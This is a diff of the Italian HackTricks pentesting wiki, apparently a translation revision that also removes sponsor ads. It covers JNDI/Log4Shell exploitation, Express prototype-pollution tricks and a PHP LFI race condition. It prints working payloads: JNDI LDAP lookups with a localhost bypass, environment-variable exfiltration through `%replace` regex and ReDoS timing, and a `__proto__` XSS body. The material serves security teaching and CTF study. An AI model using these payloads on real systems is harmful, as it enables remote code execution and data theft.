JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di provider di servizio (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
|
||||
|
||||
### Riferimento di Denominazione JNDI
|
||||
### JNDI Naming Reference
|
||||
|
||||
Gli oggetti Java possono essere memorizzati e recuperati utilizzando i Riferimenti di Denominazione JNDI, che si presentano in due forme:
|
||||
|
||||
* **Indirizzi di Riferimento**: Specifica la posizione di un oggetto (ad es., _rmi://server/ref_), consentendo il recupero diretto dall'indirizzo specificato.
|
||||
* **Fabbrica Remota**: Riferisce a una classe di fabbrica remota. Quando viene accesso, la classe viene scaricata e istanziata dalla posizione remota.
|
||||
* **Reference Addresses**: Specifica la posizione di un oggetto (ad es., _rmi://server/ref_), consentendo il recupero diretto dall'indirizzo specificato.
|
||||
* **Remote Factory**: Riferisce a una classe factory remota. Quando viene accesso, la classe viene scaricata e istanziata dalla posizione remota.
|
||||
|
||||
Tuttavia, questo meccanismo può essere sfruttato, portando potenzialmente al caricamento e all'esecuzione di codice arbitrario. Come contromisura:
|
||||
|
||||
|
@ -50,13 +42,13 @@ Esempi di URL sfruttabili includono:
|
|||
|
||||
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e la possibilità di eludere le protezioni esistenti.
|
||||
|
||||
### Esempio JNDI
|
||||
### JNDI Example
|
||||
|
||||
![](<../../.gitbook/assets/image (1022).png>)
|
||||
|
||||
Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in un lookup e verrà accesso: `ctx.lookup("<attacker-controlled-url>")` e questo è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
|
||||
|
||||
### Panoramica CORBA
|
||||
### CORBA Overview
|
||||
|
||||
CORBA (Common Object Request Broker Architecture) utilizza un **Interoperable Object Reference (IOR)** per identificare univocamente oggetti remoti. Questo riferimento include informazioni essenziali come:
|
||||
|
||||
|
@ -66,13 +58,13 @@ CORBA (Common Object Request Broker Architecture) utilizza un **Interoperable Ob
|
|||
È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza comporta tipicamente:
|
||||
|
||||
* Installazione di un **Security Manager**.
|
||||
* Configurazione del Security Manager per consentire connessioni a codebase potenzialmente malevole. Questo può essere ottenuto tramite:
|
||||
* Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere ottenuto tramite:
|
||||
* Permesso socket, ad es., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Permessi di lettura file, sia universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) o per directory specifiche in cui potrebbero essere posizionati file malevoli.
|
||||
* Permessi di lettura file, sia universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) o per directory specifiche in cui potrebbero essere posizionati file dannosi.
|
||||
|
||||
Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.
|
||||
|
||||
### Contesto RMI
|
||||
### RMI Context
|
||||
|
||||
Per RMI (Remote Method Invocation), la situazione è leggermente diversa. Come con CORBA, il download di classi arbitrarie è limitato per impostazione predefinita. Per sfruttare RMI, di solito è necessario eludere il Security Manager, un'impresa rilevante anche in CORBA.
|
||||
|
||||
|
@ -89,58 +81,58 @@ Un **attaccante può avvelenare i record LDAP introducendo payload** su di essi
|
|||
|
||||
Nel caso tu possa **far risolvere a un'app un URL JNDI LDAP**, puoi controllare l'LDAP che verrà cercato e potresti restituire lo sfruttamento (log4shell).
|
||||
|
||||
#### Sfruttamento della deserializzazione
|
||||
#### Deserialization exploit
|
||||
|
||||
![](<../../.gitbook/assets/image (275).png>)
|
||||
|
||||
Lo **sfruttamento è serializzato** e verrà deserializzato.\
|
||||
L'**exploit è serializzato** e verrà deserializzato.\
|
||||
Nel caso `trustURLCodebase` sia `true`, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà abusare di gadgets nel classpath.
|
||||
|
||||
#### Sfruttamento del Riferimento JNDI
|
||||
#### JNDI Reference exploit
|
||||
|
||||
È più facile attaccare questo LDAP utilizzando **riferimenti JavaFactory**:
|
||||
È più facile attaccare questo LDAP utilizzando **JavaFactory references**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1059).png>)
|
||||
|
||||
## Vulnerabilità Log4Shell
|
||||
## Log4Shell Vulnerability
|
||||
|
||||
La vulnerabilità è introdotta in Log4j perché supporta una [**sintassi speciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) nella forma `${prefix:name}` dove `prefix` è uno dei diversi [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) dove `name` dovrebbe essere valutato. Ad esempio, `${java:version}` è la versione attualmente in esecuzione di Java.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ha introdotto una funzione di Lookup `jndi`. Questa funzione consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con `java:comp/env/`. Tuttavia, se la chiave stessa include un **":"**, questo prefisso predefinito non viene applicato.
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ha introdotto una funzionalità di Lookup `jndi`. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con `java:comp/env/`. Tuttavia, se la chiave stessa include un **":"**, questo prefisso predefinito non viene applicato.
|
||||
|
||||
Con un **: presente** nella chiave, come in `${jndi:ldap://example.com/a}` non c’è **nessun prefisso** e il **server LDAP viene interrogato per l'oggetto**. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j sia quando vengono registrate le righe.
|
||||
|
||||
Pertanto, l'unica cosa necessaria per ottenere RCE è una **versione vulnerabile di Log4j che elabora informazioni controllate dall'utente**. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (incluse le applicazioni esposte a Internet), era molto comune avere log4j che registrava, ad esempio, gli header HTTP ricevuti come il User-Agent. Tuttavia, log4j **non è utilizzato solo per registrare informazioni HTTP ma qualsiasi input** e dati indicati dallo sviluppatore.
|
||||
|
||||
## Panoramica delle CVE correlate a Log4Shell
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critica]**
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critico]**
|
||||
|
||||
Questa vulnerabilità è un difetto critico di **deserializzazione non attendibile** nel componente `log4j-core`, che colpisce le versioni da 2.0-beta9 a 2.14.1. Consente **l'esecuzione di codice remoto (RCE)**, consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del Alibaba Cloud Security Team e colpisce vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Le regole Sigma per la difesa sono disponibili ([Regola 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regola 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critica]**
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critico]**
|
||||
|
||||
Inizialmente valutata bassa ma successivamente aggiornata a critica, questa CVE è un difetto di **Denial of Service (DoS)** risultante da una correzione incompleta in 2.15.0 per CVE-2021-44228. Colpisce configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS tramite payload creati. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra un metodo di bypass. Il problema è stato risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i modelli di lookup dei messaggi e disabilitando JNDI per impostazione predefinita.
|
||||
Inizialmente valutato come basso ma successivamente aggiornato a critico, questo CVE è un difetto di **Denial of Service (DoS)** risultante da una correzione incompleta in 2.15.0 per CVE-2021-44228. Colpisce configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS tramite payload creati. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra un metodo di bypass. Il problema è stato risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i modelli di lookup dei messaggi e disabilitando JNDI per impostazione predefinita.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
|
||||
|
||||
Colpisce le **versioni Log4j 1.x** in configurazioni non predefinite che utilizzano `JMSAppender`, questa CVE è un difetto di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è giunto a fine vita, e si raccomanda di aggiornare a `log4j-core 2.17.0`.
|
||||
Colpisce le **versioni Log4j 1.x** in configurazioni non predefinite che utilizzano `JMSAppender`, questo CVE è un difetto di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è giunto a fine vita, e si raccomanda di aggiornare a `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderata]**
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderato]**
|
||||
|
||||
Questa vulnerabilità colpisce il **framework di logging Logback**, successore di Log4j 1.x. Inizialmente ritenuto sicuro, il framework è stato trovato vulnerabile, e sono state rilasciate versioni più recenti (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
|
||||
|
||||
### **CVE-2021-45105** **\[Alto]**
|
||||
|
||||
Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere la CVE. Maggiori dettagli sono nel [report di BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere il CVE. Maggiori dettagli sono nel [report di BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Colpisce la versione log4j 2.17, questa CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Colpisce la versione log4j 2.17, questo CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Sfruttamento di Log4Shell
|
||||
## Log4Shell Exploitation
|
||||
|
||||
### Scoperta
|
||||
### Discovery
|
||||
|
||||
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una **richiesta DNS** all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
|
||||
|
||||
|
@ -156,7 +148,7 @@ Nota che **anche se viene ricevuta una richiesta DNS, ciò non significa che l'a
|
|||
Ricorda che per **sfruttare la versione 2.15** devi aggiungere il **bypass del controllo localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **Scoperta Locale**
|
||||
#### **Local Discovery**
|
||||
|
||||
Cerca **versioni vulnerabili locali** della libreria con:
|
||||
```bash
|
||||
|
@ -386,8 +378,8 @@ Ad esempio, in quel CTF questo era configurato nel file log4j2.xml:
|
|||
```
|
||||
### Env Lookups
|
||||
|
||||
In [questo CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) l'attaccante controllava il valore di `${sys:cmd}` e doveva esfiltrare il flag da una variabile d'ambiente.\
|
||||
Come visto in questa pagina in [**payload precedenti**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) ci sono diversi modi per accedere alle variabili d'ambiente, come: **`${env:FLAG}`**. In questo CTF questo era inutile, ma potrebbe non esserlo in altri scenari della vita reale.
|
||||
In [questo CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) l'attaccante controllava il valore di `${sys:cmd}` e doveva esfiltrare il flag da una variabile di ambiente.\
|
||||
Come visto in questa pagina in [**payload precedenti**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) ci sono diversi modi per accedere alle variabili di ambiente, come: **`${env:FLAG}`**. In questo CTF questo era inutile, ma potrebbe non esserlo in altri scenari della vita reale.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
|
@ -410,7 +402,7 @@ Tuttavia, è possibile utilizzare alcuni **pattern di conversione che supportano
|
|||
* **Ricerca binaria tramite messaggi di eccezione**
|
||||
|
||||
Il pattern di conversione **`%replace`** può essere utilizzato per **sostituire** **contenuto** da una **stringa** anche utilizzando **regex**. Funziona in questo modo: `replace{pattern}{regex}{substitution}`\
|
||||
Abusando di questo comportamento potresti far sì che **trigger un'eccezione se la regex corrispondeva** a qualsiasi cosa all'interno della stringa (e nessuna eccezione se non veniva trovata) in questo modo:
|
||||
Abusando di questo comportamento potresti far sì che la sostituzione **attivi un'eccezione se la regex corrispondeva** a qualcosa all'interno della stringa (e nessuna eccezione se non veniva trovata) in questo modo:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -418,10 +410,10 @@ Abusando di questo comportamento potresti far sì che **trigger un'eccezione se
|
|||
```
|
||||
* **Basato sul tempo**
|
||||
|
||||
Come menzionato nella sezione precedente, **`%replace`** supporta **regex**. Quindi è possibile utilizzare un payload dalla [**pagina ReDoS**](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
|
||||
Come menzionato nella sezione precedente, **`%replace`** supporta **regexes**. Quindi è possibile utilizzare un payload dalla [**pagina ReDoS**](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
|
||||
Ad esempio, un payload come `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` attiverebbe un **timeout** in quel CTF.
|
||||
|
||||
In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, è stato utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
|
||||
In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, ha utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -441,9 +433,9 @@ In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#` (ho usato questo carattere perché probabilmente non farebbe parte del flag). **Ognuno dei 29 `#` risultanti viene poi sostituito da 54 `#`**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
> Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#`-s (ho usato questo carattere perché probabilmente non farebbe parte del flag). **Ognuno dei 29 `#`-s risultanti viene quindi sostituito da 54 `#`-s**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Sostituire così tanti `#` attiverà il timeout di 10 secondi dell'applicazione Flask, il che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con `flagGuess`, riceveremo un codice di stato diverso da 500)
|
||||
> Sostituire così tanti `#`-s attiverà il timeout di 10 secondi dell'applicazione Flask, il che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con `flagGuess`, riceveremo un codice di stato diverso da 500)
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -456,11 +448,6 @@ In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Gruppo di Sicurezza Try Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serve XSS responses
|
||||
|
||||
**Per ulteriori dettagli** [**dai un'occhiata alla ricerca originale**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
@ -43,7 +29,7 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
In questi casi, l'XSS non è normalmente possibile con un tipo di contenuto JSON. Tuttavia, con la contaminazione del prototipo possiamo **confondere Express per servire una risposta HTML.** Questa vulnerabilità si basa sull'applicazione che utilizza **`res.send(obj)`** e utilizza il body parser con il tipo di contenuto application/json.
|
||||
In questi casi, l'XSS non è normalmente possibile con un tipo di contenuto JSON. Tuttavia, con la contaminazione del prototipo possiamo **confondere Express per restituire una risposta HTML.** Questa vulnerabilità si basa sull'applicazione che utilizza **`res.send(obj)`** e utilizza il body parser con il tipo di contenuto application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
|
@ -94,7 +80,7 @@ Con il seguente payload, è possibile **nascondere un metodo da una risposta OPT
|
|||
```
|
||||
### Errore
|
||||
|
||||
Quando assegni a un prototipo con un primitivo come una stringa, produce un **operazione no-op poiché il prototipo deve essere un oggetto**. Se tenti di assegnare un oggetto prototipo a `Object.prototype` stesso, questo **genererà un'eccezione**. Possiamo utilizzare questi due comportamenti per **verificare se la contaminazione del prototipo è stata efficace**:
|
||||
Quando assegni a un prototipo con un primitivo come una stringa, produce un **operazione no-op poiché il prototipo deve essere un oggetto**. Se tenti di assegnare un oggetto prototipo a `Object.prototype` stesso, questo **solleverà un'eccezione**. Possiamo utilizzare questi due comportamenti per **verificare se la contaminazione del prototipo è avvenuta con successo**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
|
@ -125,21 +111,10 @@ Potresti sicuramente usarla in una **catena** di bug per sfruttare una **vulnera
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,20 +15,6 @@ Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Un file aperto utilizzando il protocollo `compress.zlib://` con il flag `PHP_STREAM_PREFER_STDIO` può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.
|
||||
|
@ -59,33 +45,21 @@ L'attaccante farà in modo che il **server vittima apra una connessione leggendo
|
|||
|
||||
**Mentre** la **connessione** è ancora aperta, l'attaccante **sfrutterà un LFI caricando il file temporaneo** che controlla.
|
||||
|
||||
Tuttavia, c'è un controllo nel server web che **impedisce il caricamento di file che contengono `<?`**. Pertanto, l'attaccante sfrutterà una **Condizione di Gara**. Nella connessione che è ancora aperta, l'**attaccante** **invierà il payload PHP DOPO** che il **server web** ha **controllato** se il file contiene i caratteri vietati ma **PRIMA che carichi il suo contenuto**.
|
||||
Tuttavia, c'è un controllo nel server web che **impedisce il caricamento di file che contengono `<?`**. Pertanto, l'attaccante sfrutterà una **Condizione di Gara**. Nella connessione che è ancora aperta, l'**attaccante** **invierà il payload PHP DOPO** che il **webserver** ha **controllato** se il file contiene i caratteri vietati ma **PRIMA che carichi il suo contenuto**.
|
||||
|
||||
Per ulteriori informazioni, controlla la descrizione della Condizione di Gara e il CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# LFI2RCE tramite file temporanei Nginx
|
||||
# LFI2RCE via Nginx temp files
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,102 +10,43 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
